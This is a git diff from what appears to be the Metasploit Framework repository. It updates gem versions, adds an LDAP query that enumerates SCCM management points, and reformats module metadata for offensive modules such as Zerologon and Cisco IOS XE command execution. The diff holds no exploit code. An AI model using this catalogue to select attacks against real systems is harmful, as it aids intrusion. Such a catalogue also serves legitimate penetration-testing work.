BSD" +rex-bin_tools, 0.1.10, "New BSD" rex-core, 0.1.32, "New BSD" -rex-encoder, 0.1.7, "New BSD" -rex-exploitation, 0.1.40, "New BSD" -rex-java, 0.1.7, "New BSD" -rex-mime, 0.1.8, "New BSD" -rex-nop, 0.1.3, "New BSD" -rex-ole, 0.1.8, "New BSD" -rex-powershell, 0.1.100, "New BSD" -rex-random_identifier, 0.1.13, "New BSD" -rex-registry, 0.1.5, "New BSD" -rex-rop_builder, 0.1.5, "New BSD" -rex-socket, 0.1.58, "New BSD" -rex-sslscan, 0.1.10, "New BSD" -rex-struct2, 0.1.4, "New BSD" -rex-text, 0.2.59, "New BSD" -rex-zip, 0.1.5, "New BSD" -rexml, 3.3.9, "Simplified BSD" +rex-encoder, 0.1.8, "New BSD" +rex-exploitation, 0.1.41, "New BSD" +rex-java, 0.1.8, "New BSD" +rex-mime, 0.1.11, "New BSD" +rex-nop, 0.1.4, "New BSD" +rex-ole, 0.1.9, "New BSD" +rex-powershell, 0.1.101, "New BSD" +rex-random_identifier, 0.1.15, "New BSD" +rex-registry, 0.1.6, "New BSD" +rex-rop_builder, 0.1.6, "New BSD" +rex-socket, 0.1.59, "New BSD" +rex-sslscan, 0.1.11, "New BSD" +rex-struct2, 0.1.5, "New BSD" +rex-text, 0.2.60, "New BSD" +rex-zip, 0.1.6, "New BSD" +rexml, 3.4.1, "Simplified BSD" rkelly-remix, 0.0.7, MIT rspec, 3.13.0, MIT -rspec-core, 3.13.2, MIT +rspec-core, 3.13.3, MIT rspec-expectations, 3.13.3, MIT rspec-mocks, 3.13.2, MIT -rspec-rails, 7.0.1, MIT +rspec-rails, 7.1.1, MIT rspec-rerun, 1.1.0, MIT -rspec-support, 3.13.1, MIT +rspec-support, 3.13.2, MIT rubocop, 1.67.0, MIT -rubocop-ast, 1.33.0, MIT +rubocop-ast, 1.38.1, MIT ruby-macho, 4.1.0, MIT -ruby-mysql, 4.1.0, MIT +ruby-mysql, 4.2.0, MIT ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.13.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" ruby_smb, 3.3.13, "New BSD" rubyntlm, 0.6.5, MIT -rubyzip, 2.3.2, "Simplified BSD" +rubyzip, 2.4.1, "Simplified BSD" sawyer, 0.9.2, MIT simplecov, 0.18.2, MIT simplecov-html, 0.13.1, MIT @@ -196,22 +195,20 @@ sqlite3, 1.7.3, "New BSD" sshkey, 3.0.0, MIT strptime, 0.2.5, "Simplified BSD" swagger-blocks, 3.0.0, MIT -systemu, 2.6.5, ruby -test-prof, 1.4.2, MIT +test-prof, 1.4.4, MIT thin, 1.8.2, "GPL-2.0+, ruby" thor, 1.3.2, MIT -tilt, 2.4.0, MIT +tilt, 2.6.0, MIT timecop, 0.9.10, MIT -timeout, 0.4.1, "ruby, Simplified BSD" +timeout, 0.4.3, "ruby, Simplified BSD" ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only" tzinfo, 2.0.6, MIT -tzinfo-data, 1.2024.2, MIT +tzinfo-data, 1.2025.1, MIT unicode-display_width, 2.6.0, MIT unix-crypt, 1.3.1, 0BSD -uuid, 2.3.9, MIT warden, 1.2.9, MIT -webrick, 1.8.2, "ruby, Simplified BSD" -websocket-driver, 0.7.6, "Apache 2.0" +webrick, 1.9.1, "ruby, Simplified BSD" +websocket-driver, 0.7.7, "Apache 2.0" websocket-extensions, 0.1.5, "Apache 2.0" win32api, 0.1.0, unknown windows_error, 0.1.5, BSD @@ -219,4 +216,4 @@ winrm, 2.3.9, "Apache 2.0" xdr, 3.0.3, "Apache 2.0" xmlrpc, 0.3.3, "ruby, Simplified BSD" yard, 0.9.37, MIT -zeitwerk, 2.6.18, MIT +zeitwerk, 2.7.2, MIT diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index 94c0595178026..d2951665405f3 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -387,3 +387,12 @@ queries: references: - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts + - action: ENUM_SCCM_MANAGEMENT_POINTS + description: 'Find all registered SCCM/MECM management points' + filter: '(objectclass=mssmsmanagementpoint)' + attributes: + - cn + - dNSHostname + - msSMSSiteCode + references: + - https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md \ No newline at end of file diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 41f3305f3704b..87b9460513213 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -2,9 +2,7 @@ "auxiliary_admin/2wire/xslt_password_reset": { "name": "2Wire Cross-Site Request Forgery Password Reset Vulnerability", "fullname": "auxiliary/admin/2wire/xslt_password_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-08-15", "type": "auxiliary", @@ -45,20 +43,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/android/google_play_store_uxss_xframe_rce": { "name": "Android Browser RCE Through Google Play Store XFO", "fullname": "auxiliary/admin/android/google_play_store_uxss_xframe_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -68,7 +61,7 @@ ], "description": "This module combines two vulnerabilities to achieve remote code\n execution on affected Android devices. First, the module exploits\n CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in\n versions of Android's open source stock browser (the AOSP Browser) prior to\n 4.4. Second, the Google Play store's web interface fails to enforce a\n X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be\n targeted for script injection. As a result, this leads to remote code execution\n through Google Play's remote installation feature, as any application available\n on the Google Play store can be installed and launched on the user's device.\n\n This module requires that the user is logged into Google with a vulnerable browser.\n\n To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.", "references": [ - "URL-https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/", + "URL-http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/", "URL-https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581", "OSVDB-110664", "CVE-2014-6041" @@ -76,22 +69,17 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb", "is_install_path": true, "ref_name": "admin/android/google_play_store_uxss_xframe_rce", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -104,9 +92,7 @@ "auxiliary_admin/appletv/appletv_display_image": { "name": "Apple TV Image Remote Control", "fullname": "auxiliary/admin/appletv/appletv_display_image", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -144,20 +130,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/appletv/appletv_display_video": { "name": "Apple TV Video Remote Control", "fullname": "auxiliary/admin/appletv/appletv_display_video", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -195,20 +176,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/atg/atg_client": { "name": "Veeder-Root Automatic Tank Gauge (ATG) Administrative Client", "fullname": "auxiliary/admin/atg/atg_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -228,12 +204,8 @@ "platform": "", "arch": "", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/atg/atg_client.rb", @@ -242,8 +214,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -320,9 +291,7 @@ "auxiliary_admin/aws/aws_launch_instances": { "name": "Launches Hosts in AWS", "fullname": "auxiliary/admin/aws/aws_launch_instances", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -337,12 +306,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/aws/aws_launch_instances.rb", @@ -351,20 +316,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/backupexec/dump": { "name": "Veritas Backup Exec Windows Remote File Access", "fullname": "auxiliary/admin/backupexec/dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -382,12 +342,8 @@ "platform": "", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/backupexec/dump.rb", @@ -396,8 +352,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -410,9 +365,7 @@ "auxiliary_admin/backupexec/registry": { "name": "Veritas Backup Exec Server Registry Access", "fullname": "auxiliary/admin/backupexec/registry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -428,12 +381,8 @@ "platform": "", "arch": "", "rport": 6106, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/backupexec/registry.rb", @@ -442,8 +391,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -460,9 +408,7 @@ "auxiliary_admin/chromecast/chromecast_reset": { "name": "Chromecast Factory Reset DoS", "fullname": "auxiliary/admin/chromecast/chromecast_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -499,8 +445,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -517,9 +462,7 @@ "auxiliary_admin/chromecast/chromecast_youtube": { "name": "Chromecast YouTube Remote Control", "fullname": "auxiliary/admin/chromecast/chromecast_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -556,8 +499,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -574,9 +516,7 @@ "auxiliary_admin/citrix/citrix_netscaler_config_decrypt": { "name": "Decrypt Citrix NetScaler Config Secrets", "fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-19", "type": "auxiliary", @@ -591,12 +531,8 @@ "platform": "BSD", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb", @@ -628,9 +564,7 @@ "auxiliary_admin/db2/db2rcmd": { "name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability", "fullname": "auxiliary/admin/db2/db2rcmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-03-04", "type": "auxiliary", @@ -662,20 +596,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/dcerpc/cve_2020_1472_zerologon": { "name": "Netlogon Weak Cryptographic Authentication", "fullname": "auxiliary/admin/dcerpc/cve_2020_1472_zerologon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -717,9 +646,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "ioc-in-logs" @@ -741,9 +668,7 @@ "auxiliary_admin/dcerpc/cve_2022_26923_certifried": { "name": "Active Directory Certificate Services (ADCS) privilege escalation (Certifried)", "fullname": "auxiliary/admin/dcerpc/cve_2022_26923_certifried", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -782,9 +707,7 @@ "AKA": [ "Certifried" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ], @@ -812,9 +735,7 @@ "auxiliary_admin/dcerpc/icpr_cert": { "name": "ICPR Certificate Management", "fullname": "auxiliary/admin/dcerpc/icpr_cert", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -849,12 +770,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], @@ -912,12 +829,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], @@ -952,9 +865,7 @@ "auxiliary_admin/dns/dyn_dns_update": { "name": "DNS Server Dynamic Update Record Injection", "fullname": "auxiliary/admin/dns/dyn_dns_update", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -972,12 +883,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/dns/dyn_dns_update.rb", @@ -986,8 +893,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -1008,9 +914,7 @@ "auxiliary_admin/edirectory/edirectory_dhost_cookie": { "name": "Novell eDirectory DHOST Predictable Session Cookie", "fullname": "auxiliary/admin/edirectory/edirectory_dhost_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1025,12 +929,8 @@ "platform": "", "arch": "", "rport": 8030, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb", @@ -1039,20 +939,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/edirectory/edirectory_edirutil": { "name": "Novell eDirectory eMBox Unauthenticated File Access", "fullname": "auxiliary/admin/edirectory/edirectory_edirutil", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1093,8 +988,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -1127,9 +1021,7 @@ "auxiliary_admin/emc/alphastor_devicemanager_exec": { "name": "EMC AlphaStor Device Manager Arbitrary Command Execution", "fullname": "auxiliary/admin/emc/alphastor_devicemanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-27", "type": "auxiliary", @@ -1146,12 +1038,8 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb", @@ -1160,20 +1048,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/emc/alphastor_librarymanager_exec": { "name": "EMC AlphaStor Library Manager Arbitrary Command Execution", "fullname": "auxiliary/admin/emc/alphastor_librarymanager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-27", "type": "auxiliary", @@ -1190,12 +1073,8 @@ "platform": "", "arch": "", "rport": 3500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb", @@ -1204,20 +1083,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/firetv/firetv_youtube": { "name": "Amazon Fire TV YouTube Remote Control", "fullname": "auxiliary/admin/firetv/firetv_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1226,7 +1100,7 @@ ], "description": "This module acts as a simple remote control for the Amazon Fire TV's\n YouTube app.\n\n Tested on the Amazon Fire TV Stick.", "references": [ - "URL-https://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1", + "URL-http://http://web.archive.org/web/20210301101536/http://www.amazon.com/dp/B00CX5P8FC/?_encoding=UTF8", "URL-https://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs" ], "platform": "", @@ -1248,15 +1122,14 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 11:29:59 +0000", "path": "/modules/auxiliary/admin/firetv/firetv_youtube.rb", "is_install_path": true, "ref_name": "admin/firetv/firetv_youtube", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -1273,9 +1146,7 @@ "auxiliary_admin/hp/hp_data_protector_cmd": { "name": "HP Data Protector 6.1 EXEC_CMD Command Execution", "fullname": "auxiliary/admin/hp/hp_data_protector_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-07", "type": "auxiliary", @@ -1295,12 +1166,8 @@ "platform": "", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb", @@ -1309,20 +1176,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/hp/hp_ilo_create_admin_account": { "name": "HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation", "fullname": "auxiliary/admin/hp/hp_ilo_create_admin_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-24", "type": "auxiliary", @@ -1362,20 +1224,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/hp/hp_imc_som_create_account": { "name": "HP Intelligent Management SOM Account Creation", "fullname": "auxiliary/admin/hp/hp_imc_som_create_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-08", "type": "auxiliary", @@ -1417,20 +1274,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/allegro_rompager_auth_bypass": { "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", "fullname": "auxiliary/admin/http/allegro_rompager_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-17", "type": "auxiliary", @@ -1472,20 +1324,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/arris_motorola_surfboard_backdoor_xss": { "name": "Arris / Motorola Surfboard SBG6580 Web Interface Takeover", "fullname": "auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-04-08", "type": "auxiliary", @@ -1497,27 +1344,22 @@ "CVE-2015-0964", "CVE-2015-0965", "CVE-2015-0966", - "URL-https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/" + "URL-http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb", "is_install_path": true, "ref_name": "admin/http/arris_motorola_surfboard_backdoor_xss", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -1530,9 +1372,7 @@ "auxiliary_admin/http/atlassian_confluence_auth_bypass": { "name": "Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control", "fullname": "auxiliary/admin/http/atlassian_confluence_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-04", "type": "auxiliary", @@ -1587,16 +1427,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/axigen_file_access": { "name": "Axigen Arbitrary File Read and Delete", "fullname": "auxiliary/admin/http/axigen_file_access", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-31", "type": "auxiliary", @@ -1636,8 +1472,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -1654,9 +1489,7 @@ "auxiliary_admin/http/cfme_manageiq_evm_pass_reset": { "name": "Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection", "fullname": "auxiliary/admin/http/cfme_manageiq_evm_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-12", "type": "auxiliary", @@ -1695,20 +1528,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_7937g_ssh_privesc": { "name": "Cisco 7937G SSH Privilege Escalation", "fullname": "auxiliary/admin/http/cisco_7937g_ssh_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-02", "type": "auxiliary", @@ -1723,12 +1551,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py", @@ -1737,20 +1561,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ios_xe_cli_exec_cve_2023_20198": { "name": "Cisco IOX XE unauthenticated Command Line Interface (CLI) execution", "fullname": "auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-16", "type": "auxiliary", @@ -1761,7 +1580,7 @@ "references": [ "CVE-2023-20198", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", - "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/" @@ -1785,7 +1604,7 @@ "https" ], "targets": null, - "mod_time": "2023-11-06 11:40:22 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb", "is_install_path": true, "ref_name": "admin/http/cisco_ios_xe_cli_exec_cve_2023_20198", @@ -1796,25 +1615,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ios_xe_os_exec_cve_2023_20273": { "name": "Cisco IOX XE unauthenticated OS command execution", "fullname": "auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-10-16", "type": "auxiliary", @@ -1826,7 +1639,7 @@ "CVE-2023-20198", "CVE-2023-20273", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", - "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/", @@ -1851,7 +1664,7 @@ "https" ], "targets": null, - "mod_time": "2023-11-06 11:40:22 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb", "is_install_path": true, "ref_name": "admin/http/cisco_ios_xe_os_exec_cve_2023_20273", @@ -1862,25 +1675,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ssm_onprem_account": { "name": "Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)", "fullname": "auxiliary/admin/http/cisco_ssm_onprem_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-07-20", "type": "auxiliary", @@ -1934,16 +1741,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cnpilot_r_cmd_exec": { "name": "Cambium cnPilot r200/r201 Command Execution as 'root'", "fullname": "auxiliary/admin/http/cnpilot_r_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1981,20 +1784,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cnpilot_r_fpt": { "name": "Cambium cnPilot r200/r201 File Path Traversal", "fullname": "auxiliary/admin/http/cnpilot_r_fpt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2032,20 +1830,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/contentkeeper_fileaccess": { "name": "ContentKeeper Web Appliance mimencode File Access", "fullname": "auxiliary/admin/http/contentkeeper_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2083,20 +1876,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, 